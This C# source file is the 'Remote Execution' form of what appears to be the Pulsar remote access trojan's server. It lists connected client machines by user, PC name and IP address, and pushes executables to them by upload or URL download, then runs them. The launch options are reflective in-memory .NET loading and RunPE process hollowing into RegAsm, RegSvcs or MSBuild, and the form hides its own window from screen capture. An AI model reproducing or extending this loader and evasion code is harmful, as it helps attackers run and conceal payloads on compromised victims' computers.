using Pulsar.Common.Enums; using Pulsar.Common.Messages; using Pulsar.Server.Forms.DarkMode; using Pulsar.Server.Helper; using Pulsar.Server.Messages; using Pulsar.Server.Models; using Pulsar.Server.Networking; using System; using System.Collections.Generic; using System.IO; using System.Linq; using System.Windows.Forms; namespace Pulsar.Server.Forms { public partial class FrmRemoteExecution : Form { private class RemoteExecutionMessageHandler { public FileManagerHandler FileHandler; public TaskManagerHandler TaskHandler; } /// /// The clients which can be used for the remote execution. /// private readonly Client[] _clients; private readonly List _remoteExecutionMessageHandlers; private enum TransferColumn { Client, Status } private bool _isUpdate; private bool _executeInMemoryDotNet; private bool _useRunPE; private string _runPETarget; private string _runPECustomPath; public FrmRemoteExecution(Client[] clients, bool Updating = false) { _clients = clients; _remoteExecutionMessageHandlers = new List(clients.Length); InitializeComponent(); chkUpdate.Checked = Updating; cmbRunPETarget.SelectedIndex = 0; DarkModeManager.ApplyDarkMode(this); ScreenCaptureHider.ScreenCaptureHider.Apply(this.Handle); foreach (var client in clients) { var remoteExecutionMessageHandler = new RemoteExecutionMessageHandler { FileHandler = new FileManagerHandler(client), TaskHandler = new TaskManagerHandler(client) }; var lvi = new ListViewItem(new[] { $"{client.Value.Username}@{client.Value.PcName} [{client.EndPoint.Address}:{client.EndPoint.Port}]", "Waiting..." }) { Tag = remoteExecutionMessageHandler }; lstTransfers.Items.Add(lvi); _remoteExecutionMessageHandlers.Add(remoteExecutionMessageHandler); RegisterMessageHandler(remoteExecutionMessageHandler); } } /// /// Registers the message handlers for client communication. /// private void RegisterMessageHandler(RemoteExecutionMessageHandler remoteExecutionMessageHandler) { // TODO handle disconnects remoteExecutionMessageHandler.TaskHandler.ProcessActionPerformed += ProcessActionPerformed; remoteExecutionMessageHandler.FileHandler.ProgressChanged += SetStatusMessage; remoteExecutionMessageHandler.FileHandler.FileTransferUpdated += FileTransferUpdated; MessageHandler.Register(remoteExecutionMessageHandler.FileHandler); MessageHandler.Register(remoteExecutionMessageHandler.TaskHandler); } /// /// Unregisters the message handlers. /// private void UnregisterMessageHandler(RemoteExecutionMessageHandler remoteExecutionMessageHandler) { MessageHandler.Unregister(remoteExecutionMessageHandler.TaskHandler); MessageHandler.Unregister(remoteExecutionMessageHandler.FileHandler); remoteExecutionMessageHandler.FileHandler.ProgressChanged -= SetStatusMessage; remoteExecutionMessageHandler.FileHandler.FileTransferUpdated -= FileTransferUpdated; remoteExecutionMessageHandler.TaskHandler.ProcessActionPerformed -= ProcessActionPerformed; } private void FrmRemoteExecution_Load(object sender, EventArgs e) { this.Text = WindowHelper.GetWindowTitle("Remote Execution", _clients.Length); } private void FrmRemoteExecution_FormClosing(object sender, FormClosingEventArgs e) { foreach (var handler in _remoteExecutionMessageHandlers) { UnregisterMessageHandler(handler); handler.FileHandler.Dispose(); } _remoteExecutionMessageHandlers.Clear(); lstTransfers.Items.Clear(); } private void btnExecute_Click(object sender, EventArgs e) { _isUpdate = chkUpdate.Checked; _executeInMemoryDotNet = chkBoxReflectionExecute.Checked; _useRunPE = chkRunPE.Checked; // Check RunPE target selection if (_useRunPE) { switch (cmbRunPETarget.SelectedIndex) { case 0: _runPETarget = "a"; break; // RegAsm.exe case 1: _runPETarget = "b"; break; // RegSvcs.exe case 2: _runPETarget = "c"; break; // MSBuild.exe case 3: _runPETarget = "d"; // Custom Path _runPECustomPath = txtRunPECustomPath.Text; if (string.IsNullOrWhiteSpace(_runPECustomPath)) { MessageBox.Show("Please specify a custom path for RunPE.", "RunPE Custom Path Required", MessageBoxButtons.OK, MessageBoxIcon.Warning); return; } break; default: _runPETarget = "a"; break; } } // Validate file type if RunPE or Reflection Execute is selected if ((_useRunPE || _executeInMemoryDotNet) && !radioURL.Checked) { if (!txtPath.Text.EndsWith(".exe", StringComparison.OrdinalIgnoreCase)) { MessageBox.Show("RunPE or Reflection Execute can only run .exe files.", "Invalid File Type", MessageBoxButtons.OK, MessageBoxIcon.Error); return; } } if (radioURL.Checked) { foreach (var handler in _remoteExecutionMessageHandlers) { if (!txtURL.Text.StartsWith("http", StringComparison.OrdinalIgnoreCase)) txtURL.Text = "http://" + txtURL.Text; handler.TaskHandler.StartProcessFromWeb(txtURL.Text, _isUpdate, _executeInMemoryDotNet); } } else { foreach (var handler in _remoteExecutionMessageHandlers) { handler.FileHandler.BeginUploadFile(txtPath.Text, ""); } } } private void btnBrowse_Click(object sender, EventArgs e) { using (OpenFileDialog ofd = new OpenFileDialog()) { ofd.Multiselect = false; // Check if any checkbox on the form is checked bool anyChecked = this.Controls.OfType().Any(cb => cb.Checked); ofd.Filter = anyChecked ? "Executable Files (*.exe)|*.exe" : "All Files (*.*)|*.*"; if (ofd.ShowDialog() == DialogResult.OK) { txtPath.Text = ofd.FileName; } } } private void radioLocalFile_CheckedChanged(object sender, EventArgs e) { groupLocalFile.Enabled = radioLocalFile.Checked; groupURL.Enabled = !radioLocalFile.Checked; } private void radioURL_CheckedChanged(object sender, EventArgs e) { groupLocalFile.Enabled = !radioURL.Checked; groupURL.Enabled = radioURL.Checked; } /// /// Called whenever a file transfer gets updated. /// /// The message processor which raised the event. /// The updated file transfer. private void FileTransferUpdated(object sender, FileTransfer transfer) { for (var i = 0; i < lstTransfers.Items.Count; i++) { var handler = (RemoteExecutionMessageHandler)lstTransfers.Items[i].Tag; if (handler.FileHandler.Equals(sender as FileManagerHandler) || handler.TaskHandler.Equals(sender as TaskManagerHandler)) { lstTransfers.Items[i].SubItems[(int)TransferColumn.Status].Text = transfer.Status; if (transfer.Status == "Completed") { var pathToStart = transfer.Type == Enums.TransferType.Upload ? transfer.LocalPath : transfer.RemotePath; handler.TaskHandler.StartProcess(pathToStart, _isUpdate, _executeInMemoryDotNet, _useRunPE, _runPETarget, _runPECustomPath); } return; } } } // TODO: update documentation /// /// Sets the status of the file manager. /// /// The message handler which raised the event. /// The new status. private void SetStatusMessage(object sender, string message) { for (var i = 0; i < lstTransfers.Items.Count; i++) { var handler = (RemoteExecutionMessageHandler)lstTransfers.Items[i].Tag; if (handler.FileHandler.Equals(sender as FileManagerHandler) || handler.TaskHandler.Equals(sender as TaskManagerHandler)) { lstTransfers.Items[i].SubItems[(int)TransferColumn.Status].Text = message; return; } } } private void ProcessActionPerformed(object sender, ProcessAction action, bool result) { if (action != ProcessAction.Start) return; for (var i = 0; i < lstTransfers.Items.Count; i++) { var handler = (RemoteExecutionMessageHandler)lstTransfers.Items[i].Tag; if (handler.FileHandler.Equals(sender as FileManagerHandler) || handler.TaskHandler.Equals(sender as TaskManagerHandler)) { lstTransfers.Items[i].SubItems[(int)TransferColumn.Status].Text = result ? "Successfully started process" : "Failed to start process"; return; } } } private void chkBoxReflectionExecute_CheckedChanged(object sender, EventArgs e) { if (chkBoxReflectionExecute.Checked) { chkRunPE.Checked = false; chkUpdate.Checked = false; } } private void chkUpdate_CheckedChanged(object sender, EventArgs e) { if (chkUpdate.Checked) { chkBoxReflectionExecute.Checked = false; chkRunPE.Checked = false; } } private void chkRunPE_CheckedChanged(object sender, EventArgs e) { if (chkRunPE.Checked) { chkBoxReflectionExecute.Checked = false; chkUpdate.Checked = false; cmbRunPETarget.Enabled = true; } else { cmbRunPETarget.Enabled = false; txtRunPECustomPath.Visible = false; txtRunPECustomPath.Enabled = false; btnBrowseRunPE.Visible = false; btnBrowseRunPE.Enabled = false; } } private void cmbRunPETarget_SelectedIndexChanged(object sender, EventArgs e) { bool isCustomPath = cmbRunPETarget.SelectedIndex == 3; txtRunPECustomPath.Visible = isCustomPath; txtRunPECustomPath.Enabled = isCustomPath; btnBrowseRunPE.Visible = isCustomPath; btnBrowseRunPE.Enabled = isCustomPath; } private void btnBrowseRunPE_Click(object sender, EventArgs e) { using (OpenFileDialog ofd = new OpenFileDialog()) { ofd.Multiselect = false; // Check if any checkbox on the form is checked bool anyChecked = this.Controls.OfType().Any(cb => cb.Checked); ofd.Filter = anyChecked ? "Executable Files (*.exe)|*.exe" : "All Files (*.*)|*.*"; if (ofd.ShowDialog() == DialogResult.OK) { txtPath.Text = ofd.FileName; } } } } }